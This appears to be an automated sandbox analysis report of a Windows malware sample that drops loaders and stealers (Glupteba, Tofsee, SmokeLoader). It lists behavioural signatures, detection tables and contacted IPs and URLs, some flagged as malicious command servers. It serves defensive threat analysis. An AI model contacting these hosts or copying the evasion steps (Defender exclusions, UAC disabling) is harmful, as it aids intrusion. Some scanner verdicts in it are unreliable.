            behaviorgraph top1 signatures2 2 Behavior Graph ID: 1345843 Sample: file.exe Startdate: 21/11/2023 Architecture: WINDOWS Score: 100 150 Multi AV Scanner detection for domain / URL 2->150 152 Malicious sample detected (through community Yara rule) 2->152 154 Antivirus detection for URL or domain 2->154 156 14 other signatures 2->156 12 file.exe 2 4 2->12         started        15 cmd.exe 2->15         started        17 powershell.exe 2->17         started        19 cmd.exe 2->19         started        process3 signatures4 198 Adds a directory exclusion to Windows Defender 12->198 200 Disables UAC (registry) 12->200 21 CasPol.exe 15 194 12->21         started        26 powershell.exe 21 12->26         started        28 6V2xKGSdzZOG2l67fqdIp9iJ.exe 15->28         started        30 conhost.exe 15->30         started        32 conhost.exe 17->32         started        34 conhost.exe 19->34         started        process5 dnsIp6 144 91.92.243.139 THEZONEBG Bulgaria 21->144 146 78.135.105.12 PREMIERDC-VERI-MERKEZI-ANONIM-SIRKETIPREMIERDC-SHTR Turkey 21->146 148 15 other IPs or domains 21->148 118 C:\Users\...\zuTkcDdNQ6MkLeAs0lGPxvRR.exe, PE32+ 21->118 dropped 120 C:\Users\...\yiUYZEb7lMWdy4BiiNcsQQJX.exe, PE32+ 21->120 dropped 122 C:\Users\...\yYAwgDWrkYJyyOGvYzyiJrxu.exe, PE32+ 21->122 dropped 124 195 other malicious files 21->124 dropped 182 Drops script or batch files to the startup folder 21->182 184 Creates HTML files with .exe extension (expired dropper behavior) 21->184 186 Modifies Windows Defender protection settings 21->186 188 Writes many files with high entropy 21->188 36 DU9aZfxw1xhKC4ykOgcxwHTl.exe 21->36         started        41 AdivwWrpQRED15lxH0DgRVgj.exe 21->41         started        43 BXuFYgf6xs2uEKGHPQsSTe25.exe 23 21->43         started        47 14 other processes 21->47 45 conhost.exe 26->45         started        190 Antivirus detection for dropped file 28->190 192 Multi AV Scanner detection for dropped file 28->192 194 Machine Learning detection for dropped file 28->194 file7 signatures8 process9 dnsIp10 130 87.240.137.164 VKONTAKTE-SPB-AShttpvkcomRU Russian Federation 36->130 132 95.142.206.0 VKONTAKTE-SPB-AShttpvkcomRU Russian Federation 36->132 140 15 other IPs or domains 36->140 100 C:\Users\...\ohQpGh89_DKtYLyMVbmJ3Rtn.exe, PE32+ 36->100 dropped 102 C:\Users\...\oImNnZUwq_S8lQXQ3JQ8PWfa.exe, PE32 36->102 dropped 104 C:\Users\...\mVd8JjiAeizZqfVE2Y07H3YG.exe, PE32 36->104 dropped 110 20 other malicious files 36->110 dropped 162 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 36->162 164 Query firmware table information (likely to detect VMs) 36->164 166 Creates HTML files with .exe extension (expired dropper behavior) 36->166 180 5 other signatures 36->180 112 2 other malicious files 41->112 dropped 168 Writes many files with high entropy 41->168 49 Install.exe 41->49         started        134 149.154.167.99 TELEGRAMRU United Kingdom 43->134 136 167.235.143.166 ALBERTSONSUS United States 43->136 114 11 other files (9 malicious) 43->114 dropped 170 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 43->170 172 Tries to harvest and steal browser information (history, passwords, etc) 43->172 138 107.167.110.218 OPERASOFTWAREUS United States 47->138 142 3 other IPs or domains 47->142 106 Opera_installer_2311211413039667704.dll, PE32 47->106 dropped 108 Opera_installer_2311211412517277356.dll, PE32 47->108 dropped 116 11 other malicious files 47->116 dropped 174 Tries to detect sandboxes and other dynamic analysis tools (window names) 47->174 176 Modifies the hosts file 47->176 178 Adds a directory exclusion to Windows Defender 47->178 52 r1O81gOTKkD0PfSdUigHGcl2.exe 47->52         started        54 r1O81gOTKkD0PfSdUigHGcl2.exe 47->54         started        56 r1O81gOTKkD0PfSdUigHGcl2.exe 47->56         started        58 2 other processes 47->58 file11 signatures12 process13 file14 88 C:\Users\user\AppData\Local\...\Install.exe, PE32 49->88 dropped 60 Install.exe 49->60         started        90 Opera_installer_2311211412344515864.dll, PE32 52->90 dropped 64 r1O81gOTKkD0PfSdUigHGcl2.exe 52->64         started        92 Opera_installer_2311211412307813128.dll, PE32 54->92 dropped 94 Opera_installer_2311211412316924080.dll, PE32 56->94 dropped 96 Opera_installer_2311211412549847716.dll, PE32 58->96 dropped 98 C:\Users\user\AppData\Local\...\Install.exe, PE32 58->98 dropped process15 file16 126 C:\Users\user\AppData\Local\...\flBIeyQ.exe, PE32 60->126 dropped 202 Uses schtasks.exe or at.exe to add and modify task schedules 60->202 204 Modifies Windows Defender protection settings 60->204 206 Adds extensions / path to Windows Defender exclusion list 60->206 66 forfiles.exe 60->66         started        69 forfiles.exe 60->69         started        71 schtasks.exe 60->71         started        128 Opera_installer_2311211412373835848.dll, PE32 64->128 dropped signatures17 process18 signatures19 158 Modifies Windows Defender protection settings 66->158 160 Adds extensions / path to Windows Defender exclusion list 66->160 73 cmd.exe 66->73         started        76 conhost.exe 66->76         started        78 cmd.exe 69->78         started        80 conhost.exe 69->80         started        82 conhost.exe 71->82         started        process20 signatures21 196 Uses cmd line tools excessively to alter registry or file data 73->196 84 reg.exe 73->84         started        86 reg.exe 78->86         started        process22

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            file.exe41%ReversingLabsWin32.Trojan.Generic
            file.exe42%VirustotalBrowse
            file.exe100%Joe Sandbox ML

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\Users\user\AppData\Local\4f5Nx5TIr9aFLxNLjJPgXzZC.exe100%AviraTR/AD.Nekark.bdamo
            C:\Users\user\AppData\Local\KTrOP3dHFImCgksUms5y6GT0.exe100%AviraHEUR/AGEN.1303617
            C:\Users\user\AppData\Local\BBqYMraWtNak9E70T03xv71q.exe100%AviraHEUR/AGEN.1303617
            C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exe100%AviraHEUR/AGEN.1312670
            C:\Users\user\AppData\Local\7kfsbB1Hl48Vwwq14EpVnfnY.exe100%AviraTR/AD.Nekark.bdamo
            C:\Users\user\AppData\Local\JJ3cNx9vKHcCuMyuszfvJls9.exe100%AviraHEUR/AGEN.1303617
            C:\Program Files\Google\Chrome\updater.exe100%AviraTR/AD.Nekark.bdamo
            C:\Users\user\AppData\Local\H62xkOOft6fSMQ98kaLeH0L3.exe100%AviraHEUR/AGEN.1312670
            C:\Users\user\AppData\Local\7vGVJ4vo69rcWRQudRLDXauN.exe100%AviraHEUR/AGEN.1312670
            C:\Users\user\AppData\Local\4HEo1sjjkhLSQkWpfp7Tvy6i.exe100%AviraTR/AD.Nekark.bdamo
            C:\Users\user\AppData\Local\KTrOP3dHFImCgksUms5y6GT0.exe100%Joe Sandbox ML
            C:\Users\user\AppData\Local\BBqYMraWtNak9E70T03xv71q.exe100%Joe Sandbox ML
            C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exe100%Joe Sandbox ML
            C:\Users\user\AppData\Local\JJ3cNx9vKHcCuMyuszfvJls9.exe100%Joe Sandbox ML
            C:\Users\user\AppData\Local\H62xkOOft6fSMQ98kaLeH0L3.exe100%Joe Sandbox ML
            C:\Users\user\AppData\Local\7vGVJ4vo69rcWRQudRLDXauN.exe100%Joe Sandbox ML
            C:\Program Files\Google\Chrome\updater.exe88%ReversingLabsWin64.Trojan.Lgoogloader
            C:\Program Files\Google\Chrome\updater.exe76%VirustotalBrowse
            C:\ProgramData\freebl3.dll0%ReversingLabs
            C:\ProgramData\freebl3.dll0%VirustotalBrowse
            C:\ProgramData\mozglue.dll0%ReversingLabs
            C:\ProgramData\mozglue.dll0%VirustotalBrowse
            C:\ProgramData\msvcp140.dll0%ReversingLabs
            C:\ProgramData\msvcp140.dll0%VirustotalBrowse
            C:\ProgramData\nss3.dll0%ReversingLabs
            C:\ProgramData\nss3.dll0%VirustotalBrowse
            C:\ProgramData\softokn3.dll0%ReversingLabs
            C:\ProgramData\softokn3.dll0%VirustotalBrowse
            C:\Users\user\AppData\Local\3zo1tV5f3Ay9BnN3gEE89S3s.exe52%ReversingLabsWin64.Trojan.CrypterX
            C:\Users\user\AppData\Local\3zo1tV5f3Ay9BnN3gEE89S3s.exe62%VirustotalBrowse
            C:\Users\user\AppData\Local\4HEo1sjjkhLSQkWpfp7Tvy6i.exe88%ReversingLabsWin64.Trojan.Lgoogloader
            C:\Users\user\AppData\Local\4f5Nx5TIr9aFLxNLjJPgXzZC.exe88%ReversingLabsWin64.Trojan.Lgoogloader
            C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exe100%ReversingLabsWin32.Backdoor.Tofsee
            C:\Users\user\AppData\Local\7kfsbB1Hl48Vwwq14EpVnfnY.exe88%ReversingLabsWin64.Trojan.Lgoogloader
            C:\Users\user\AppData\Local\7vGVJ4vo69rcWRQudRLDXauN.exe100%ReversingLabsWin32.Backdoor.Tofsee
            C:\Users\user\AppData\Local\BBqYMraWtNak9E70T03xv71q.exe95%ReversingLabsWin32.Trojan.Glupteba
            C:\Users\user\AppData\Local\Dd4nzJ5vUMeQnN3MK6ZRgV3f.exe52%ReversingLabsWin64.Trojan.CrypterX
            C:\Users\user\AppData\Local\GpflmvanezvTQUdAxFgnanZZ.exe52%ReversingLabsWin64.Trojan.CrypterX
            C:\Users\user\AppData\Local\H62xkOOft6fSMQ98kaLeH0L3.exe100%ReversingLabsWin32.Backdoor.Tofsee
            C:\Users\user\AppData\Local\JJ3cNx9vKHcCuMyuszfvJls9.exe95%ReversingLabsWin32.Trojan.Glupteba
            C:\Users\user\AppData\Local\KTrOP3dHFImCgksUms5y6GT0.exe95%ReversingLabsWin32.Trojan.Glupteba
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\sqlite3[1].dll0%ReversingLabs
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\build[1].exe91%ReversingLabsWin32.Trojan.Privateloader
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\freebl3[1].dll0%ReversingLabs
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\mozglue[1].dll0%ReversingLabs
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\msvcp140[1].dll0%ReversingLabs
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\nss3[1].dll0%ReversingLabs
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\softokn3[1].dll0%ReversingLabs
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\Opera_105.0.4970.16_Autoupdate_x64[1].exe0%ReversingLabs
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\Service_32[1].exe87%ReversingLabsWin32.Trojan.PrivateLoader
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\home[1].exe59%ReversingLabsWin32.Trojan.MintZard
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\timeSync[1].exe38%ReversingLabs
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\xin[1].exe34%ReversingLabsWin32.Trojan.Generic
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\36b88b89v[1].exe41%ReversingLabsWin32.Trojan.SmokeLoader
            C:\Users\user\AppData\Local\OUk0jc7FyA7JiXBcKBsav4Ex.exe100%ReversingLabsWin32.Backdoor.Tofsee
            C:\Users\user\AppData\Local\OeIzFpPQv96lBLRJ074Q8fw6.exe95%ReversingLabsWin32.Trojan.Glupteba
            C:\Users\user\AppData\Local\PG0i0imJz19jFNp7ko6pIPRA.exe88%ReversingLabsWin64.Trojan.Lgoogloader

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            https://167.235.143.166/llowedCert_OS_10%Avira URL Cloudsafe
            https://167.235.143.166/0%Avira URL Cloudsafe
            https://167.235.143.1660%Avira URL Cloudsafe
            http://james.newtonking.com/projects/json0%URL Reputationsafe
            https://features.opera-api2.com/?0%Avira URL Cloudsafe
            https://167.235.143.166/g100%Avira URL Cloudmalware
            https://167.235.143.166/m100%Avira URL Cloudmalware
            http://autoupdate-staging.services.ams.osa/0%Avira URL Cloudsafe
            http://localhost:3001api/prefs/?product=$1&version=$2..0%Avira URL Cloudsafe
            https://167.235.143.166/ity0%Avira URL Cloudsafe
            https://167.235.143.166/g11%VirustotalBrowse
            https://features.opera-api2.com/?1%VirustotalBrowse
            https://features.opera-api2.com/api/v2/features?country=US&language=en-GB&uuid=da7fffaf-858c-44bb-bd0%Avira URL Cloudsafe
            https://features.opera-api2.com/0%Avira URL Cloudsafe
            https://167.235.143.166/7%VirustotalBrowse
            https://167.235.143.1667%VirustotalBrowse
            https://167.235.143.166/m13%VirustotalBrowse
            https://desktop-netinstaller-sub.osp.opera.software/v1/binaryB0%Avira URL Cloudsafe
            https://167.235.143.166/S_10%Avira URL Cloudsafe
            https://desktop-netinstaller-sub.osp.opera.software/v1/binary;100%Avira URL Cloudmalware
            https://167.235.143.166/osoft0%Avira URL Cloudsafe
            https://desktop-netinstaller-sub.osp.opera.software/v1/binary100%Avira URL Cloudmalware
            https://167.235.143.166/tificate0%Avira URL Cloudsafe
            https://desktop-netinstaller-sub.osp.opera.software/v1/binaryB0%VirustotalBrowse
            https://features.opera-api2.com/0%VirustotalBrowse
            https://167.235.143.166/%0%Avira URL Cloudsafe
            http://www.opera.com00%Avira URL Cloudsafe
            https://desktop-netinstaller-sub.osp.opera.software/v1/binary1%VirustotalBrowse
            https://desktop-netinstaller-sub.osp.opera.software/0%Avira URL Cloudsafe
            https://desktop-netinstaller-sub.osp.opera.software/v1/binary;0%VirustotalBrowse
            https://desktop-netinstaller-sub.osp.opera.software/v1/binaryx0%Avira URL Cloudsafe
            https://167.235.143.166/6100%Avira URL Cloudmalware
            https://desktop-netinstaller-sub.osp.opera.software/v1/binaryp0%Avira URL Cloudsafe
            http://autoupdate-staging.services.ams.osa/v4/v5/netinstaller///windows/x64v2/Fetching0%Avira URL Cloudsafe
            https://167.235.143.166/E100%Avira URL Cloudmalware
            https://167.235.143.166/%10%VirustotalBrowse
            https://desktop-netinstaller-sub.osp.opera.software/0%VirustotalBrowse
            https://www.opera.com..0%Avira URL Cloudsafe
            https://desktop-netinstaller-sub.osp.opera.software/v1/binaryp0%VirustotalBrowse
            https://desktop-netinstaller-sub.osp.opera.software/v1/binaryv.0%Avira URL Cloudsafe
            https://167.235.143.166/E11%VirustotalBrowse
            https://desktop-netinstaller-sub.osp.opera.software/v1/binaryx0%VirustotalBrowse
            https://features.opera-api2.com/api/v2/features?country=%s&language=%s&uuid=%s&product=%s&channel=%s0%VirustotalBrowse
            https://167.235.143.166/611%VirustotalBrowse
            https://desktop-netinstaller-sub.osp.opera.software/v1/binaryQ.0%Avira URL Cloudsafe
            https://www.opera.com..0%VirustotalBrowse
            https://167.235.143.166/6611%VirustotalBrowse
            https://167.235.143.166/66100%Avira URL Cloudmalware
            https://features.opera-api2.com/api/v2/features?country=%s&language=%s&uuid=%s&product=%s&channel=%s0%Avira URL Cloudsafe
            https://desktop-netinstaller-sub.osp.opera.software/v1/binaryQ.0%VirustotalBrowse
            https://desktop-netinstaller-sub.osp.opera.software/v1/binaryv.0%VirustotalBrowse

            Domains and IPs

            Contacted Domains

            ⊘No contacted domains info

            URLs from Memory and Binaries

            NameSourceMaliciousAntivirus DetectionReputation
            https://167.235.143.166/llowedCert_OS_1BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1757611845.0000000000784000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://167.235.143.166/mBXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1757611845.0000000000784000.00000004.00000020.00020000.00000000.sdmptrue
            • 13%, Virustotal, Browse
            • Avira URL Cloud: malware
            		unknown
            https://t.me/BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1726494688.000000000078C000.00000004.00000020.00020000.00000000.sdmpfalse
              		high
              https://legal.opera.com/termsr1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000ECA000.00000040.00000001.01000000.0000000D.sdmpfalse
                		high
                https://web.telegram.orgBXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1726494688.00000000007C7000.00000004.00000020.00020000.00000000.sdmpfalse
                  		high
                  https://167.235.143.166/gBXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.2622089224.00000000007ED000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.2688557966.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.2688496198.00000000007DF000.00000004.00000020.00020000.00000000.sdmptrue
                  • 11%, Virustotal, Browse
                  • Avira URL Cloud: malware
                  		unknown
                  https://addons.opera.com/extensions/download/be76331b95dfc399cd776d2fc68021e0db03cc4fOPqTdTFbxWlK6znimRD995XD.exefalse
                    		high
                    https://www.opera.com/privacyOPqTdTFbxWlK6znimRD995XD.exefalse
                      		high
                      https://crashpad.chromium.org/bug/newOPqTdTFbxWlK6znimRD995XD.exefalse
                        		high
                        https://download.opera.com/r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpfalse
                          		high
                          https://download3.operacdn.com/ftp/pub/opera/desktop/105.0.4970.16/win/Opera_105.0.4970.16_Autoupdatr1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpfalse
                            		high
                            https://help.opera.com/latest/OPqTdTFbxWlK6znimRD995XD.exefalse
                              		high
                              https://167.235.143.166BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1706606834.000000000077F000.00000004.00000020.00020000.00000000.sdmpfalse
                              • 7%, Virustotal, Browse
                              • Avira URL Cloud: safe
                              		unknown
                              https://167.235.143.166/BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1757611845.0000000000784000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.2622067874.0000000009458000.00000004.00000020.00020000.00000000.sdmpfalse
                              • 7%, Virustotal, Browse
                              • Avira URL Cloud: safe
                              		unknown
                              https://features.opera-api2.com/?r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1574710407.0000000001209000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1577176941.0000000001203000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpfalse
                              • 1%, Virustotal, Browse
                              • Avira URL Cloud: safe
                              		unknown
                              https://policies.google.com/terms;r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000ECA000.00000040.00000001.01000000.0000000D.sdmpfalse
                                		high
                                https://t.me/starcofeethBXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1726494688.000000000078C000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1706606834.000000000077F000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1658768599.0000000002290000.00000004.00001000.00020000.00000000.sdmpfalse
                                  		high
                                  https://download.opera.com/download/get/?partner=www&opsys=Windows&utm_source=netinstallerOPqTdTFbxWlK6znimRD995XD.exefalse
                                    		high
                                    http://autoupdate-staging.services.ams.osa/OPqTdTFbxWlK6znimRD995XD.exefalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    https://legal.opera.com/terms.OPqTdTFbxWlK6znimRD995XD.exefalse
                                      		high
                                      http://localhost:3001api/prefs/?product=$1&version=$2..r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		low
                                      https://autoupdate.geo.opera.com/https://autoupdate.geo.opera.com/geolocation/OperaDesktophttps://crr1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpfalse
                                        		high
                                        https://crashpad.chromium.org/https://crashpad.chromium.org/bug/newr1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpfalse
                                          		high
                                          https://www.opera.com/download/OPqTdTFbxWlK6znimRD995XD.exefalse
                                            		high
                                            https://dc.services.visualstudio.com/v2/trackfile.exe, 00000000.00000002.1468881299.0000000003B69000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1473871872.0000000006270000.00000004.08000000.00040000.00000000.sdmpfalse
                                              		high
                                              https://167.235.143.166/ityBXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1817870547.0000000000784000.00000004.00000020.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://telegram.org/tos/r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000ECA000.00000040.00000001.01000000.0000000D.sdmpfalse
                                                		high
                                                https://features.opera-api2.com/api/v2/features?country=US&language=en-GB&uuid=da7fffaf-858c-44bb-bdr1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                https://features.opera-api2.com/r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1577176941.0000000001203000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpfalse
                                                • 0%, Virustotal, Browse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                https://addons.opera.com/extensions/download/be76331b95dfc399cd776d2fc68021e0db03cc4f.opera.comr1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpfalse
                                                  		high
                                                  https://desktop-netinstaller-sub.osp.opera.software/v1/binaryBr1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592712393.00000000011C0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  • 0%, Virustotal, Browse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://desktop-netinstaller-sub.osp.opera.software/v1/binary;r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592712393.00000000011C0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  • 0%, Virustotal, Browse
                                                  • Avira URL Cloud: malware
                                                  		unknown
                                                  https://167.235.143.166/S_1BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1817870547.0000000000784000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://download3.operacdn.com/r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://www.opera.comOPqTdTFbxWlK6znimRD995XD.exefalse
                                                      		high
                                                      https://167.235.143.166/osoftBXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1817870547.0000000000784000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1757611845.0000000000784000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://download.opera.com/download/get/?id=63821&autoupdate=1&ni=1&stream=stable&utm_campaign=767&ur1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592634901.00000000011D7000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592712393.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1598360457.0000000057328000.00000004.00001000.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://desktop-netinstaller-sub.osp.opera.software/v1/binaryr1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1574710407.0000000001209000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1577176941.0000000001203000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592712393.00000000011C0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • 1%, Virustotal, Browse
                                                        • Avira URL Cloud: malware
                                                        		unknown
                                                        https://autoupdate.geo.opera.com/OPqTdTFbxWlK6znimRD995XD.exefalse
                                                          		high
                                                          https://download3.operacdn.com/B&r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://twitter.com/en/tos;OPqTdTFbxWlK6znimRD995XD.exefalse
                                                              		high
                                                              https://steamcommunity.com/profiles/76561199571056594BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1658768599.0000000002290000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://steamcommunity.com/profiles/76561199571056594torosdaghelloBXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1658768599.0000000002290000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://crashpad.chromium.org/OPqTdTFbxWlK6znimRD995XD.exefalse
                                                                    		high
                                                                    https://redir.opera.com/uninstallsurvey/OPqTdTFbxWlK6znimRD995XD.exefalse
                                                                      		high
                                                                      https://addons.opera.com/en/extensions/details/dify-cashback/OPqTdTFbxWlK6znimRD995XD.exefalse
                                                                        		high
                                                                        https://167.235.143.166/tificateBXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1817870547.0000000000784000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        • Avira URL Cloud: safe
                                                                        		unknown
                                                                        https://autoupdate.geo.opera.com/geolocation/OPqTdTFbxWlK6znimRD995XD.exefalse
                                                                          		high
                                                                          https://167.235.143.166/%BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1872848729.00000000007AB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          • 10%, Virustotal, Browse
                                                                          • Avira URL Cloud: safe
                                                                          		unknown
                                                                          https://autoupdate.geo.opera.com/v5/netinstaller/opera/Stable/windows/x64r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592634901.00000000011CE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://crashstats-collector.opera.com/collector/submitOPqTdTFbxWlK6znimRD995XD.exefalse
                                                                              		high
                                                                              http://www.opera.com0r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1518401925.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              https://desktop-netinstaller-sub.osp.opera.software/r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              • 0%, Virustotal, Browse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              https://autoupdate.geo.opera.com/v5/netinstaller/opera/Stable/windows/x64Tr1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592634901.00000000011CE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://desktop-netinstaller-sub.osp.opera.software/v1/binaryxr1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592712393.00000000011C0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                • 0%, Virustotal, Browse
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                https://opera.com/privacyOPqTdTFbxWlK6znimRD995XD.exefalse
                                                                                  		high
                                                                                  https://167.235.143.166/6BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1817870547.0000000000784000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  • 11%, Virustotal, Browse
                                                                                  • Avira URL Cloud: malware
                                                                                  		unknown
                                                                                  https://legal.opera.com/eula/computersOPqTdTFbxWlK6znimRD995XD.exefalse
                                                                                    		high
                                                                                    https://desktop-netinstaller-sub.osp.opera.software/v1/binarypr1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592712393.00000000011C0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    • 0%, Virustotal, Browse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
                                                                                    http://autoupdate-staging.services.ams.osa/v4/v5/netinstaller///windows/x64v2/Fetchingr1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpfalse
